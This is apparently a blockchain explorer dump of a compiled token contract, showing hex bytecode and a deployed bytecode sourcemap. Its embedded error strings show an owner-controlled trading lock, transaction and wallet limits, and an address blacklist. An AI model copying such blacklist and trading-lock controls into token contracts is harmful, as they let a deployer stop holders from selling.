ffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611b9260028461103d90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611bbd573d6000803e3d6000fd5b50601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c0e60028461103d90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c39573d6000803e3d6000fd5b5050565b6001601860156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611c7557611c746130a0565b5b604051908082528060200260200182016040528015611ca35781602001602082028036833780820191505090505b5090503081600081518110611cbb57611cba6130cf565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611d62573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d869190613113565b81600181518110611d9a57611d996130cf565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611e0130601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461108f565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611e65959493929190613239565b600060405180830381600087803b158015611e7f57600080fd5b505af1158015611e93573d6000803e3d6000fd5b50505050506000601860156101000a81548160ff02191690831515021790555050565b60008083118290611efd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ef4919061259f565b60405180910390fd5b5060008385611f0c9190612a79565b9050809150509392505050565b80611f2757611f26611f46565b5b611f32848484611f83565b80611f4057611f3f61214e565b5b50505050565b6000600e54148015611f5a57506000600f54145b611f8157600e54601081905550600f546011819055506000600e819055506000600f819055505b565b600080600080600080611f9587612162565b955095509550955095509550611ff386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121ca90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061208885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461221490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120d481612272565b6120de848361232f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161213b9190612786565b60405180910390a3505050505050505050565b601054600e81905550601154600f81905550565b600080600080600080600080600061217f8a600e54600f54612369565b925092509250600061218f6123ff565b905060008060006121a28e87878761242a565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061220c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ade565b905092915050565b60008082846122239190612fa6565b905083811015612268576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161225f906132df565b60405180910390fd5b8091505092915050565b600061227c6123ff565b905060006122938284610fc390919063ffffffff16565b90506122e781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461221490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612344826007546121ca90919063ffffffff16565b60078190555061235f8160085461221490919063ffffffff16565b6008819055505050565b6000806000806123956064612387888a610fc390919063ffffffff16565b61103d90919063ffffffff16565b905060006123bf60646123b1888b610fc390919063ffffffff16565b61103d90919063ffffffff16565b905060006123e8826123da858c6121ca90919063ffffffff16565b6121ca90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600061240c6124b3565b91509150612423818361103d90919063ffffffff16565b9250505090565b6000806000806124438589610fc390919063ffffffff16565b9050600061245a8689610fc390919063ffffffff16565b905060006124718789610fc390919063ffffffff16565b9050600061249a8261248c85876121ca90919063ffffffff16565b6121ca90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080600060075490506000662386f26fc1000090506124e5662386f26fc1000060075461103d90919063ffffffff16565b82101561250257600754662386f26fc1000093509350505061250b565b81819350935050505b9091565b600081519050919050565b600082825260208201905092915050565b60005b8381101561254957808201518184015260208101905061252e565b60008484015250505050565b6000601f19601f8301169050919050565b60006125718261250f565b61257b818561251a565b935061258b81856020860161252b565b61259481612555565b840191505092915050565b600060208201905081810360008301526125b98184612566565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006125f1826125c6565b9050919050565b612601816125e6565b811461260c57600080fd5b50565b60008135905061261e816125f8565b92915050565b60006020828403121561263a576126396125c1565b5b60006126488482850161260f565b91505092915050565b6000819050919050565b61266481612651565b811461266f57600080fd5b50565b6000813590506126818161265b565b92915050565b6000806040838503121561269e5761269d6125c1565b5b60006126ac8582860161260f565b92505060206126bd85828601612672565b9150509250929050565b60008115159050919050565b6126dc816126c7565b82525050565b60006020820190506126f760008301846126d3565b92915050565b6000819050919050565b600061272261271d612718846125c6565b6126fd565b6125c6565b9050919050565b600061273482612707565b9050919050565b600061274682612729565b9050919050565b6127568161273b565b82525050565b6000602082019050612771600083018461274d565b92915050565b61278081612651565b82525050565b600060208201905061279b6000830184612777565b92915050565b6000806000606084860312156127ba576127b96125c1565b5b60006127c88682870161260f565b93505060206127d98682870161260f565b92505060406127ea86828701612672565b9150509250925092565b600060ff82169050919050565b61280a816127f4565b82525050565b60006020820190506128256000830184612801565b92915050565b612834816125e6565b82525050565b600060208201905061284f600083018461282b565b92915050565b6000806040838503121561286c5761286b6125c1565b5b600061287a8582860161260f565b925050602061288b8582860161260f565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006128cb60208361251a565b91506128d682612895565b602082019050919050565b600060208201905081810360008301526128fa816128be565b9050919050565b50565b600061291160008361251a565b915061291c82612901565b600082019050919050565b6000602082019050818103600083015261294081612904565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006129a360268361251a565b91506129ae82612947565b604082019050919050565b600060208201905081810360008301526129d281612996565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612a1382612651565b9150612a1e83612651565b9250828202612a2c81612651565b91508282048414831517612a4357612a426129d9565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612a8482612651565b9150612a8f83612651565b925082612a9f57612a9e612a4a565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612b0660218361251a565b9150612b1182612aaa565b604082019050919050565b60006020820190508181036000830152612b3581612af9565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612b9860248361251a565b9150612ba382612b3c565b604082019050919050565b60006020820190508181036000830152612bc781612b8b565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612c2a60228361251a565b9150612c3582612bce565b604082019050919050565b60006020820190508181036000830152612c5981612c1d565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612cbc60258361251a565b9150612cc782612c60565b604082019050919050565b60006020820190508181036000830152612ceb81612caf565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612d4e60238361251a565b9150612d5982612cf2565b604082019050919050565b60006020820190508181036000830152612d7d81612d41565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612de060298361251a565b9150612deb82612d84565b604082019050919050565b60006020820190508181036000830152612e0f81612dd3565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000612e72603f8361251a565b9150612e7d82612e16565b604082019050919050565b60006020820190508181036000830152612ea181612e65565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b6000612ede601c8361251a565b9150612ee982612ea8565b602082019050919050565b60006020820190508181036000830152612f0d81612ed1565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000612f7060238361251a565b9150612f7b82612f14565b604082019050919050565b60006020820190508181036000830152612f9f81612f63565b9050919050565b6000612fb182612651565b9150612fbc83612651565b9250828201905080821115612fd457612fd36129d9565b5b92915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b600061303660238361251a565b915061304182612fda565b604082019050919050565b6000602082019050818103600083015261306581613029565b9050919050565b600061307782612651565b915061308283612651565b925082820390508181111561309a576130996129d9565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061310d816125f8565b92915050565b600060208284031215613129576131286125c1565b5b6000613137848285016130fe565b91505092915050565b6000819050919050565b600061316561316061315b84613140565b6126fd565b612651565b9050919050565b6131758161314a565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6131b0816125e6565b82525050565b60006131c283836131a7565b60208301905092915050565b6000602082019050919050565b60006131e68261317b565b6131f08185613186565b93506131fb83613197565b8060005b8381101561322c57815161321388826131b6565b975061321e836131ce565b9250506001810190506131ff565b5085935050505092915050565b600060a08201905061324e6000830188612777565b61325b602083018761316c565b818103604083015261326d81866131db565b905061327c606083018561282b565b6132896080830184612777565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006132c9601b8361251a565b91506132d482613293565b602082019050919050565b600060208201905081810360008301526132f8816132bc565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220791480375cab03e7d7eb81d3bee446d84d6782bb496cb7688b74e385803659f964736f6c63430008110033

Deployed Bytecode Sourcemap

4196:12542:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6837:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12436:103;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7748:193;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5613:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7117:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7950:446;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5967:61;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7025:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5661:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15600:141;;;;;;;;;;;;;:::i;:::-;;12923:235;;;;;;;;;;;;;:::i;:::-;;7221:117;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1666:148;;;;;;;;;;;;;:::i;:::-;;5839:55;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1450:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5902:57;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6929:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7347:199;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5307:36;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12678:236;;;;;;;;;;;;;:::i;:::-;;12551:121;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4901:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7555:184;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1823:244;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6837:83;6874:13;6907:5;;;;;;;;;;;;;;;;;6900:12;;6837:83;:::o;12436:103::-;1588:12;:10;:12::i;:::-;1578:22;;:6;;;;;;;;;;:22;;;1570:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12525:4:::1;12503:12;;:27;;;;;;;;;;;;;;;;;;12436:103:::0;:::o;7748:193::-;7850:4;7872:39;7881:12;:10;:12::i;:::-;7895:7;7904:6;7872:8;:39::i;:::-;7929:4;7922:11;;7748:193;;;;:::o;5613:41::-;;;;;;;;;;;;;:::o;7117:95::-;7170:7;4804:16;7190:14;;7117:95;:::o;7950:446::-;8082:4;8099:36;8109:6;8117:9;8128:6;8099:9;:36::i;:::-;8146:220;8169:6;8190:12;:10;:12::i;:::-;8217:138;8273:6;8217:138;;;;;;;;;;;;;;;;;:11;:19;8229:6;8217:19;;;;;;;;;;;;;;;:33;8237:12;:10;:12::i;:::-;8217:33;;;;;;;;;;;;;;;;:37;;:138;;;;;:::i;:::-;8146:8;:220::i;:::-;8384:4;8377:11;;7950:446;;;;;:::o;5967:61::-;;;;:::o;7025:83::-;7066:5;4431:1;7084:16;;7025:83;:::o;5661:28::-;;;;;;;;;;;;;:::o;15600:141::-;1588:12;:10;:12::i;:::-;1578:22;;:6;;;;;;;;;;:22;;;1570:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;15665:20:::1;15650:12;:35;;;;15713:20;15696:14;:37;;;;15600:141::o:0;12923:235::-;12989:19;;;;;;;;;;;12973:35;;:12;:10;:12::i;:::-;:35;;;:72;;;;13028:17;;;;;;;;;;;13012:33;;:12;:10;:12::i;:::-;:33;;;12973:72;12965:81;;;;;;13057:26;13086:21;13057:50;;13118:32;13131:18;13118:12;:32::i;:::-;12954:204;12923:235::o;7221:117::-;7287:7;7314;:16;7322:7;7314:16;;;;;;;;;;;;;;;;7307:23;;7221:117;;;:::o;1666:148::-;1588:12;:10;:12::i;:::-;1578:22;;:6;;;;;;;;;;:22;;;1570:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;1773:1:::1;1736:40;;1757:6;::::0;::::1;;;;;;;;1736:40;;;;;;;;;;;;1804:1;1787:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;1666:148::o:0;5839:55::-;;;;:::o;1450:79::-;1488:7;1515:6;;;;;;;;;;;1508:13;;1450:79;:::o;5902:57::-;;;;:::o;6929:87::-;6968:13;7001:7;;;;;;;;;;;;;;;;;6994:14;;6929:87;:::o;7347:199::-;7452:4;7474:42;7484:12;:10;:12::i;:::-;7498:9;7509:6;7474:9;:42::i;:::-;7534:4;7527:11;;7347:199;;;;:::o;5307:36::-;;;;;;;;;;;;;;;;;;;;;;:::o;12678:236::-;12744:19;;;;;;;;;;;12728:35;;:12;:10;:12::i;:::-;:35;;;:72;;;;12783:17;;;;;;;;;;;12767:33;;:12;:10;:12::i;:::-;:33;;;12728:72;12720:81;;;;;;12812:23;12838:24;12856:4;12838:9;:24::i;:::-;12812:50;;12873:33;12890:15;12873:16;:33::i;:::-;12709:205;12678:236::o;12551:121::-;8455:10;8430:35;;8438:12;;;;;;;;;;;8430:35;;;8421:51;;;;;;;;;;;;:::i;:::-;;;;;;;;;12655:6:::1;12636:7;:16;12644:7;12636:16;;;;;;;;;;;;;;;:25;;;;12551:121:::0;;:::o;4901:26::-;;;;:::o;7555:184::-;7672:7;7704:11;:18;7716:5;7704:18;;;;;;;;;;;;;;;:27;7723:7;7704:27;;;;;;;;;;;;;;;;7697:34;;7555:184;;;;:::o;1823:244::-;1588:12;:10;:12::i;:::-;1578:22;;:6;;;;;;;;;;:22;;;1570:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;1932:1:::1;1912:22;;:8;:22;;::::0;1904:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;2022:8;1993:38;;2014:6;::::0;::::1;;;;;;;;1993:38;;;;;;;;;;;;2051:8;2042:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;1823:244:::0;:::o;2668:246::-;2726:7;2755:1;2750;:6;2746:47;;2780:1;2773:8;;;;2746:47;2803:9;2819:1;2815;:5;;;;:::i;:::-;2803:17;;2848:1;2843;2839;:5;;;;:::i;:::-;:10;2831:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;2905:1;2898:8;;;2668:246;;;;;:::o;2923:132::-;2981:7;3008:39;3012:1;3015;3008:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;3001:46;;2923:132;;;;:::o;196:98::-;249:7;276:10;269:17;;196:98;:::o;9171:369::-;9315:1;9298:19;;:5;:19;;;9290:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9396:1;9377:21;;:7;:21;;;9369:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9478:6;9448:11;:18;9460:5;9448:18;;;;;;;;;;;;;;;:27;9467:7;9448:27;;;;;;;;;;;;;;;:36;;;;9516:7;9500:32;;9509:5;9500:32;;;9525:6;9500:32;;;;;;:::i;:::-;;;;;;;;9171:369;;;:::o;9549:2217::-;9687:1;9671:18;;:4;:18;;;9663:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9764:1;9750:16;;:2;:16;;;9742:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;9834:1;9825:6;:10;9817:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;9907:7;:5;:7::i;:::-;9899:15;;:4;:15;;;;:32;;;;;9924:7;:5;:7::i;:::-;9918:13;;:2;:13;;;;9899:32;9895:1231;;;9955:11;;;;;;;;;;;9951:143;;;10003:7;:5;:7::i;:::-;9995:15;;:4;:15;;;9987:91;;;;;;;;;;;;:::i;:::-;;;;;;;;;9951:143;10129:12;;10119:6;:22;;10111:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;10198:4;:10;10203:4;10198:10;;;;;;;;;;;;;;;;;;;;;;;;;10197:11;:24;;;;;10213:4;:8;10218:2;10213:8;;;;;;;;;;;;;;;;;;;;;;;;;10212:9;10197:24;10189:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;10288:13;;;;;;;;;;;10282:19;;:2;:19;;;10279:146;;10355:14;;10346:6;10330:13;10340:2;10330:9;:13::i;:::-;:22;;;;:::i;:::-;:39;10322:87;;;;;;;;;;;;:::i;:::-;;;;;;;;;10279:146;10442:28;10473:24;10491:4;10473:9;:24::i;:::-;10442:55;;10512:12;10551:19;;10527:20;:43;;10512:58;;10615:12;;10591:20;:36;10588:124;;10684:12;;10661:35;;10588:124;10733:7;:18;;;;;10745:6;;;;;;;;;;;10744:7;10733:18;:43;;;;;10763:13;;;;;;;;;;;10755:21;;:4;:21;;;;10733:43;:58;;;;;10780:11;;;;;;;;;;;10733:58;:87;;;;;10796:18;:24;10815:4;10796:24;;;;;;;;;;;;;;;;;;;;;;;;;10795:25;10733:87;:114;;;;;10825:18;:22;10844:2;10825:22;;;;;;;;;;;;;;;;;;;;;;;;;10824:23;10733:114;10729:386;;;10868:38;10885:20;10868:16;:38::i;:::-;10925:26;10954:21;10925:50;;11019:1;10998:18;:22;10994:106;;;11045:35;11058:21;11045:12;:35::i;:::-;10994:106;10849:266;10729:386;9933:1193;;9895:1231;11139:12;11154:4;11139:19;;11177:18;:24;11196:4;11177:24;;;;;;;;;;;;;;;;;;;;;;;;;:50;;;;11205:18;:22;11224:2;11205:22;;;;;;;;;;;;;;;;;;;;;;;;;11177:50;11176:102;;;;11241:13;;;;;;;;;;;11233:21;;:4;:21;;;;:44;;;;;11264:13;;;;;;;;;;;11258:19;;:2;:19;;;;11233:44;11176:102;11172:532;;;11305:5;11295:15;;11172:532;;;11357:13;;;;;;;;;;;11349:21;;:4;:21;;;:55;;;;;11388:15;;;;;;;;;;;11374:30;;:2;:30;;;;11349:55;11346:162;;;11437:14;;11425:9;:26;;;;11480:12;;11470:7;:22;;;;11346:162;11535:13;;;;;;;;;;;11529:19;;:2;:19;;;:55;;;;;11568:15;;;;;;;;;;;11552:32;;:4;:32;;;;11529:55;11525:165;;;11617:15;;11605:9;:27;;;;11661:13;;11651:7;:23;;;;11525:165;11172:532;11717:41;11732:4;11738:2;11742:6;11750:7;11717:14;:41::i;:::-;9652:2114;9549:2217;;;:::o;2435:224::-;2555:7;2588:1;2583;:6;;2591:12;2575:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2615:9;2631:1;2627;:5;;;;:::i;:::-;2615:17;;2650:1;2643:8;;;2435:224;;;;;:::o;12267:160::-;12324:19;;;;;;;;;;;:28;;:43;12353:13;12364:1;12353:6;:10;;:13;;;;:::i;:::-;12324:43;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12378:17;;;;;;;;;;;:26;;:41;12405:13;12416:1;12405:6;:10;;:13;;;;:::i;:::-;12378:41;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12267:160;:::o;11775:483::-;6133:4;6124:6;;:13;;;;;;;;;;;;;;;;;;11853:21:::1;11891:1;11877:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11853:40;;11922:4;11904;11909:1;11904:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;11948:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11938:4;11943:1;11938:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;::::0;::::1;11981:62;11998:4;12013:15;;;;;;;;;;;12031:11;11981:8;:62::i;:::-;12054:15;;;;;;;;;;;:66;;;12135:11;12161:1;12177:4;12204;12224:15;12054:196;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;11842:416;6169:5:::0;6160:6;;:14;;;;;;;;;;;;;;;;;;11775:483;:::o;3064:223::-;3184:7;3216:1;3212;:5;3219:12;3204:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;3243:9;3259:1;3255;:5;;;;:::i;:::-;3243:17;;3278:1;3271:8;;;3064:223;;;;;:::o;13167:282::-;13323:7;13318:28;;13332:14;:12;:14::i;:::-;13318:28;13357:44;13375:6;13383:9;13394:6;13357:17;:44::i;:::-;13417:7;13412:29;;13426:15;:13;:15::i;:::-;13412:29;13167:282;;;;:::o;8815:221::-;8875:1;8862:9;;:14;:30;;;;;8891:1;8880:7;;:12;8862:30;8894:7;8858:43;8934:9;;8914:17;:29;;;;8972:7;;8954:15;:25;;;;9005:1;8993:9;:13;;;;9027:1;9017:7;:11;;;;8815:221;:::o;13458:610::-;13605:15;13635:23;13673:12;13700:23;13738:12;13765:13;13792:19;13803:7;13792:10;:19::i;:::-;13590:221;;;;;;;;;;;;13840:28;13860:7;13840;:15;13848:6;13840:15;;;;;;;;;;;;;;;;:19;;:28;;;;:::i;:::-;13822:7;:15;13830:6;13822:15;;;;;;;;;;;;;;;:46;;;;13900:39;13923:15;13900:7;:18;13908:9;13900:18;;;;;;;;;;;;;;;;:22;;:39;;;;:::i;:::-;13879:7;:18;13887:9;13879:18;;;;;;;;;;;;;;;:60;;;;13950:16;13960:5;13950:9;:16::i;:::-;13977:23;13989:4;13995;13977:11;:23::i;:::-;14033:9;14016:44;;14025:6;14016:44;;;14044:15;14016:44;;;;;;:::i;:::-;;;;;;;;13579:489;;;;;;13458:610;;;:::o;9045:117::-;9101:17;;9089:9;:29;;;;9139:15;;9129:7;:25;;;;9045:117::o;14491:618::-;14591:7;14613;14635;14657;14679;14701;14737:23;14762:12;14776:13;14806:40;14818:7;14827:9;;14838:7;;14806:11;:40::i;:::-;14736:110;;;;;;14857:19;14879:10;:8;:10::i;:::-;14857:32;;14901:15;14918:23;14943:12;14972:46;14984:7;14993:4;14999:5;15006:11;14972;:46::i;:::-;14900:118;;;;;;15040:7;15049:15;15066:4;15072:15;15089:4;15095:5;15032:69;;;;;;;;;;;;;;;;;;;14491:618;;;;;;;:::o;2290:136::-;2348:7;2375:43;2379:1;2382;2375:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;2368:50;;2290:136;;;;:::o;2102:179::-;2160:7;2180:9;2196:1;2192;:5;;;;:::i;:::-;2180:17;;2221:1;2216;:6;;2208:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;2272:1;2265:8;;;2102:179;;;;:::o;14077:211::-;14130:19;14152:10;:8;:10::i;:::-;14130:32;;14173:13;14189:22;14199:11;14189:5;:9;;:22;;;;:::i;:::-;14173:38;;14247:33;14274:5;14247:7;:22;14263:4;14247:22;;;;;;;;;;;;;;;;:26;;:33;;;;:::i;:::-;14222:7;:22;14238:4;14222:22;;;;;;;;;;;;;;;:58;;;;14119:169;;14077:211;:::o;14297:147::-;14375:17;14387:4;14375:7;;:11;;:17;;;;:::i;:::-;14365:7;:27;;;;14416:20;14431:4;14416:10;;:14;;:20;;;;:::i;:::-;14403:10;:33;;;;14297:147;;:::o;15118:472::-;15287:7;15309;15331;15366:12;15381:30;15407:3;15381:21;15393:8;15381:7;:11;;:21;;;;:::i;:::-;:25;;:30;;;;:::i;:::-;15366:45;;15422:13;15438:28;15462:3;15438:19;15450:6;15438:7;:11;;:19;;;;:::i;:::-;:23;;:28;;;;:::i;:::-;15422:44;;15477:23;15503:28;15525:5;15503:17;15515:4;15503:7;:11;;:17;;;;:::i;:::-;:21;;:28;;;;:::i;:::-;15477:54;;15553:15;15570:4;15576:5;15545:37;;;;;;;;;15118:472;;;;;;;:::o;16296:164::-;16338:7;16359:15;16376;16395:16;:14;:16::i;:::-;16358:53;;;;16432:20;16444:7;16432;:11;;:20;;;;:::i;:::-;16425:27;;;;16296:164;:::o;15750:537::-;15944:7;15966;15988;16023:15;16041:24;16053:11;16041:7;:11;;:24;;;;:::i;:::-;16023:42;;16076:12;16091:21;16100:11;16091:4;:8;;:21;;;;:::i;:::-;16076:36;;16123:13;16139:22;16149:11;16139:5;:9;;:22;;;;:::i;:::-;16123:38;;16172:23;16198:28;16220:5;16198:17;16210:4;16198:7;:11;;:17;;;;:::i;:::-;:21;;:28;;;;:::i;:::-;16172:54;;16248:7;16257:15;16274:4;16240:39;;;;;;;;;;15750:537;;;;;;;;:::o;16475:257::-;16523:7;16532;16552:15;16570:7;;16552:25;;16588:15;4804:16;16588:25;;16638:20;4804:16;16638:7;;:11;;:20;;;;:::i;:::-;16628:7;:30;16624:61;;;16668:7;;4804:16;16660:25;;;;;;;;16624:61;16707:7;16716;16699:25;;;;;;16475:257;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:329::-;2242:6;2291:2;2279:9;2270:7;2266:23;2262:32;2259:119;;;2297:79;;:::i;:::-;2259:119;2417:1;2442:53;2487:7;2478:6;2467:9;2463:22;2442:53;:::i;:::-;2432:63;;2388:117;2183:329;;;;:::o;2518:77::-;2555:7;2584:5;2573:16;;2518:77;;;:::o;2601:122::-;2674:24;2692:5;2674:24;:::i;:::-;2667:5;2664:35;2654:63;;2713:1;2710;2703:12;2654:63;2601:122;: